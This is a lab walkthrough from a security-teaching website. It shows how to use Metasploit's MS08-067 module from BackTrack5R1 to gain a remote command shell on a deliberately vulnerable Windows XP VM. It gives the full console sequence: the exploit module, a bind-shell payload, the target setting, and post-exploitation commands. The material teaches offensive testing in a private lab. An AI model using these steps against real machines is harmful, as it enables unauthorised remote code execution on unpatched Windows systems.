ComputerSecurityStudent (CSS) [Login] [Join Now]




|SECURITY TOOLS >> Metasploit >> Current Page |Views: 13557

(Metasploit: MS08-067)

{ BackTrack5R1: Establishing A Shell To The Vulnerable Machine }


Section 0. Background Information
  1. http://www.microsoft.com/technet/security/bulletin/ms08-067.mspx
    • The vulnerability could allow remote code execution if an affected system received a specially crafted RPC request. On Microsoft Windows 2000, Windows XP, and Windows Server 2003 systems, an attacker could exploit this vulnerability without authentication to run arbitrary code. It is possible that this vulnerability could be used in the crafting of a wormable exploit.
    • Firewall best practices and standard default firewall configurations can help protect network resources from attacks that originate outside the enterprise perimeter.

  2. Pre-Requisite
  3. Lab Notes
    • In this lab we will do the following:
      1. Start up the Metasploit Framework msfconsole
      2. We will use the msfconsole to obtain a shell as the admin user on the Damn Vulnerable WXP-SP2 machine.
     
  4. Legal Disclaimer
    • As a condition of your use of this Web site, you warrant to computersecuritystudent.com that you will not use this Web site for any purpose that is unlawful or that is prohibited by these terms, conditions, and notices.
    • In accordance with UCC § 2-316, this product is provided with "no warranties, either express or implied." The information contained is provided "as-is", with "no guarantee of merchantability."
    • In addition, this is a teaching website that does not condone malicious behavior of any kind.
    • Your are on notice, that continuing and/or using this lab outside your "own" test environment is considered malicious and is against the law.
    • © 2013 No content replication of any kind is allowed without express written permission.


Section 1: Log into Damn Vulnerable WXP-SP2
  1. Edit Virtual Machine Settings
    • Instructions:
      1. Click on Damn Vulnerable WXP-SP2
      2. Edit Virtual Machine Settings
    • Note:
      • This VM is running Windows XP.
      • This is the Victim Machine that we will be scanning with BackTrack 5R1.

     

  2. Set Network Adapter
    • Instructions:
      1. Click on Network Adapter
      2. Click on the radio button "Bridged: Connected directly to the physical network".

     

  3. Start Up Damn Vulnerable WXP-SP2.
    • Instructions:
      1. Start Up your VMware Player
      2. Play virtual machine

     

  4. Logging into Damn Vulnerable WXP-SP2.
    • Instructions:
      1. Username: administrator
      2. Password: Use the Class Password or whatever you set it.

     

  5. Open a Command Prompt
    • Instructions:
      1. Start --> All Programs --> Accessories --> Command Prompt

     

  6. Obtain the IP Address
    • Instructions:
      1. ipconfig
    • Note(FYI):
      • In my case, Damn Vulnerable WXP-SP2's IP Address 192.168.1.116.
      • This is the IP Address of the Victim Machine.
      • Record your IP Address.

     

Section 2: Log into BackTrack5
  1. Start Up VMWare Player
    • Instructions:
      1. Click the Start Button
      2. Type Vmplayer in the search box
      3. Click on Vmplayer

     

  2. Open a Virtual Machine
    • Instructions:
      1. Click on Open a Virtual Machine

     

  3. Open the BackTrack5R1 VM
    • Instructions:
      1. Navigate to where the BackTrack5R1 VM is located
      2. Click on on the BackTrack5R1 VM
      3. Click on the Open Button

     

  4. Edit the BackTrack5R1 VM
    • Instructions:
      1. Select BackTrack5R1 VM
      2. Click Edit virtual machine settings

     

  5. Edit Virtual Machine Settings
    • Instructions:
      1. Click on Network Adapter
      2. Click on the Bridged Radio button
      3. Click on the OK Button

     

  6. Play the BackTrack5R1 VM
    • Instructions:
      1. Click on the BackTrack5R1 VM
      2. Click on Play virtual machine

     

  7. Login to BackTrack
    • Instructions:
      1. Login: root
      2. Password: toor or <whatever you changed it to>.

     

  8. Bring up the GNOME
    • Instructions:
      1. Type startx

     

  9. Start up a terminal window
    • Instructions:
      1. Click on the Terminal Window

     

  10. Obtain the IP Address
    • Instructions:
      1. ifconfig -a
    • Note(FYI):
      • My IP address 192.168.1.111.
      • In your case, it will probably be different.

     

Section 3: Starting up the Metasploit MSF Console
  1. Start Up Metasploit msfconsole
    • Instructions:
      1. msfconsole
    • Note(FYI):
      • Metasploit takes about 5 to 20 seconds to start up.

     

  2. msfconsole screen
    • Note(FYI):
      • Your msfconsole will probably have a different picture than mine.

     

  3. Search for the MS08-067 Exploit
    • Instructions:
      1. search ms08_067

     

  4. Use exploit MS08-067 Exploit
    • Instructions:
      1. use exploit/windows/smb/ms08_067_netapi

     

  5. Show Payloads
    • Instructions:
      1. show payloads

     

  6. Set Payloads
    • Instructions:
      1. set PAYLOAD windows/shell_bind_tcp
    • Note(FYI):
      • This Payload creates Windows Command Shell and Bind TCP Inline

     

  7. Show Options
    • Instructions:
      1. show options
    • Note(FYI):
      • Notice the Required Column.  RPORT and SMBPIPE are already populated, but RHOST is not.
      • In the next step, you will populate RHOST with the IP Address of Damn Vulnerable XP-SP2.

     

  8. Set RHOST and Verify Show Options
    • Note:
      • Replace 192.168.1.116 with your Damn Vulnerable XP-SP2's IP Address obtained in (Section 1, Step 4).
    • Instructions:
      1. set RHOST 192.168.1.116
      2. show options

     

  9. Exploit the Victim Machine
    • Instructions:
      1. exploit
    • Note(FYI):
      • If the exploit worked you should see a command prompt into the victim machine.  (See Below).

     

  10. Issue the systeminfo command
    • Instructions:
      1. systeminfo
    • Note:
      • This is the system information report for Windows.

     

  11. Issue the tasklist command
    • Instructions:
      1. tasklist
    • Note:
      • This is the command line version of Task Manager in Windows.

     

Section 4: Proof of Lab
  1. Proof of Lab
    • Instructions:
      1. netstat -nao | findstr 4444
        • Record the Process ID. (See Picture Below).
        • In my case, the Process ID is 1104.
      2. tasklist 2>NUL | find /i "1104"
        • Replace 1104, with your Process ID.
      3. date /t
      4. echo "Your Name"
        • This should be your actual name.
        • e.g., echo "John Gray"
    • Proof of Lab Instructions
      1. Press both the <Ctrl> and <Alt> keys at the same time.
      2. Do a <PrtScn>
      3. Paste into a word document
      4. Upload to Moodle

     

  2. Issue the shutdown command
    • Instructions:
      1. shutdown -r
    • Note(FYI):
      • This will reboot the victim windows machine.
      • Go ahead and check out what popped up on your victim windows machine.
      • Continue to the next step.

     

  3. System Shutdown Message.
    • Note(FYI):
      • You should now see a "System Shutdown" message similar to the below.

 



Help ComputerSecurityStudent
pay for continued research,
resources & bandwidth